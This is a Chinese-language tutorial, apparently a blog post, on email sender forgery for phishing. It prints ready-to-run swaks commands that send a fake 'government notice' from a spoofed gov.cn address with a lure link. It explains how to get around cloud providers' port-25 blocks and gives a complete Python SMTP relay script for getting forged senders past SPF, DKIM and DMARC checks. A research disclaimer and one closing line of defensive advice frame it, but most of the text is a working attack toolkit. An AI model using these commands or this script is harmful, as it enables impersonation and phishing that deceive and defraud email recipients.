免责声明:本文提供的程序与方法旨在用于安全研究与教学,请勿用于非法用途。使用者需自行承担全部法律责任。
在网络与系统安全领域,邮件钓鱼是一种常见的攻击手段。攻击者常利用SMTP协议特性,伪造邮件发件人地址,使邮件看起来来自可信来源,从而诱导受害者点击恶意链接或执行危险操作。理解其原理是做好防御的第一步。

上图摘要图标示意了文章的核心:探讨邮件伪造的技术原理。
基本邮件伪造方法
利用 swaks 等命令行工具,可以直接构造SMTP协议包,伪造邮件发件人。以下是一个伪造政府通知邮件的示例:
swaks --to victim@126.com --from moe@gov.cn --h-From: '政府通知<tongzhi@gov.cn>' --h-Subject "通知:关于中小企业新政策" --h-X-Mailer gov.cn --h-Message-Id gov.cn --ehlo gov.cn --body "请点击网址https://www.hack.com查看"
此命令将一封来自伪造地址 tongzhi@gov.cn 的钓鱼邮件发送给受害者。邮件的主题、发件人显示名均可任意设置,极具迷惑性。
绕过云服务商端口限制
在实际测试中,部分云服务器(如阿里云)可能封锁了出站的25端口(标准SMTP端口),导致无法连接某些只支持25端口的邮件服务器(如QQ邮箱的MX服务器)。
此时,可以转向支持SSL/TLS加密端口的邮件服务(如163邮箱),使用 --tls-on-connect 参数:
swaks --to target@163.com --from moe@gov.cn --h-From: '政府通知<tongzhi@gov.cn>' --h-Subject "通知" --h-X-Mailer gov.cn --h-Message-Id gov.cn --ehlo gov.cn --body "请点击恶意链接" --tls-on-connect
针对安全域名的SMTP中继伪造
上述简单伪造方法仅适用于未部署SPF、DKIM、DMARC等邮件安全协议的域名。对于开启了严格验证的知名域名(如 @gov.cn, @company.com),则需要利用SMTP中继协议进行更复杂的伪造。
其核心是控制一个同时满足以下条件的邮件服务器:
- 支持邮件转发(Relay)。
- 已正确配置SPF记录。
- 已部署DKIM签名。
攻击者通过该受信任的服务器作为中继,发送精心构造的邮件,从而绕过接收方的安全检查。
下面是一个用于演示此过程的Python脚本 smtp-relay.py:
#!/usr/bin/python
"""
SMTP Relay 客户端 - 用于邮件伪造安全研究
该脚本需要一个满足SPF、DKIM的邮件服务器作为中继。
"""
import telnetlib
import time
import logging
import base64
import argparse
logging.basicConfig(format='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s',level=logging.INFO)
class SMTPClient():
def __init__(self,):
self.mail_from = ''
self.mail_to = []
self.send_data = ''
self.mail_header = ''
self.tn = telnetlib.Telnet()
def set_mail_header(self,mail_subject,mail_relay,mail_relay_name):
now_date = time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)", time.localtime())
self.mail_header = "Date: {}\r\nFrom: =?UTF-8?B?{}?= <{}>\r\nTo: {}\r\nSubject: =?UTF-8?B?{}?=\r\n".format(now_date,
base64.b64encode(mail_relay_name.encode()).decode(),
mail_relay,
self.mail_to[0],base64.b64encode(mail_subject.encode()).decode())
def set_mail(self,mail_from,mail_to,send_body):
self.mail_from = mail_from
self.mail_to = mail_to
with open(send_body, "rb") as f_body:
self.send_data = f_body.read()
f_body.close()
def send_ehlo(self, content):
self.tn.write(content.encode())
def send_mail(self):
mail_from = "MAIL FROM:<%s>" % self.mail_from
logging.info(mail_from)
self.tn.write(mail_from.encode() + b'\r\n')
self.tn.read_until(b"250 Mail Ok\r\n",timeout=3)
logging.info("250 Mail Ok")
for mail in self.mail_to:
mail_rpct = "RCPT TO:<%s>" % mail
self.tn.write(mail_rpct.encode() + b'\r\n')
self.tn.read_until(b"250 Rcpt Ok\r\n",timeout=3)
logging.info(mail_rpct)
self.tn.write(b'DATA\n')
self.tn.read_until(b"354 End data with <CR><LF>.<CR><LF>\r\n",timeout=3)
send_all = self.mail_header.encode()+self.send_data+b"\r\n.\r\n"
self.tn.write(send_all)
self.tn.read_until(b"250 Data Ok: queued as freedom\r\n",timeout=3)
logging.info("250 Data Ok")
def login_host(self,host_ip,username,password):
try:
self.tn.open(host_ip,port=25)
except:
logging.warning('%s Connect Error..'%host_ip)
return False
self.send_ehlo("EHLO virtual-machine\r\n")
self.tn.read_until(b"250-smtp.aliyun-inc.com\r\n",timeout=3)
self.tn.read_until(b"250-STARTTLS\r\n",timeout=3)
self.tn.read_until(b"250-8BITMIME\r\n",timeout=3)
self.tn.read_until(b"250-AUTH=PLAIN LOGIN XALIOAUTH\r\n",timeout=3)
self.tn.read_until(b"250-AUTH PLAIN LOGIN XALIOAUTH\r\n",timeout=3)
self.tn.read_until(b"250-PIPELINING\r\n",timeout=3)
self.tn.read_until(b"250 DSN\r\n",timeout=3)
self.tn.write(b"AUTH LOGIN\r\n")
self.tn.read_until(b"334 dXNlcm5hbWU6\r\n",timeout=3)
self.tn.write(base64.b64encode(username.encode()) + b'\r\n')
self.tn.read_until(b"334 UGFzc3dvcmQ6\r\n",timeout=3)
self.tn.write(base64.b64encode(password.encode()) + b'\r\n')
self.tn.read_until(b"235 Authentication successful\r\n",timeout=3)
logging.info("235 Authentication successful")
return True
def logout_host(self):
self.tn.write(b"QUIT\r\n")
self.tn.read_until(b"221 Bye\r\n",timeout=3)
self.tn.close()
logging.info("QUIT")
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.description = "AMAIL SMTP Relay Client - Version 1.0"
parser.add_argument("-f","--mail_from",type=str,help="Mail From",required = True)
parser.add_argument("-t","--mail_to",type=str,help="Mail To",required = True)
parser.add_argument("-u","--username",type=str,help="SMTP Username",required = True)
parser.add_argument("-p","--password",type=str,help="SMTP Password",required = True)
parser.add_argument("-s","--server",type=str,help="SMTP Server", default="smtp.mxhichina.com")
parser.add_argument("-b","--body",type=str,help="Mail Body", required = True)
parser.add_argument("-r","--relay",type=str,help="Mail Relay To", required = True)
parser.add_argument("--relay_name",type=str,help="Mail Relay To Name", required = True)
parser.add_argument("--subject",type=str,help="Mail Subject", required = True)
args = parser.parse_args()
smtp_client = SMTPClient()
if smtp_client.login_host(args.server,args.username,args.password):
smtp_client.set_mail(args.mail_from,args.mail_to.split(","),args.body)
smtp_client.set_mail_header(args.subject,args.relay,args.relay_name)
smtp_client.send_mail()
smtp_client.logout_host()
脚本使用说明:
- 准备邮件正文:需要一个去除了邮件头(Header)的
.eml 文件作为邮件正文(-b 参数)。
- 执行命令:脚本会自动构建包含伪造发件人信息的邮件头,并通过认证的中继服务器发送。
python smtp-relay.py -f <真实发送邮箱> -t <目标邮箱> -u <邮箱用户名> -p <密码> -r <伪造的发件人地址> --relay_name <伪造的发件人名称> --subject <邮件主题> -b <邮件正文.eml>
通过以上分析可知,仅凭发件人地址判断邮件真伪是不可靠的。企业及个人应积极部署并验证SPF、DKIM、DMARC等邮件安全协议,同时提高对钓鱼邮件的警惕性。
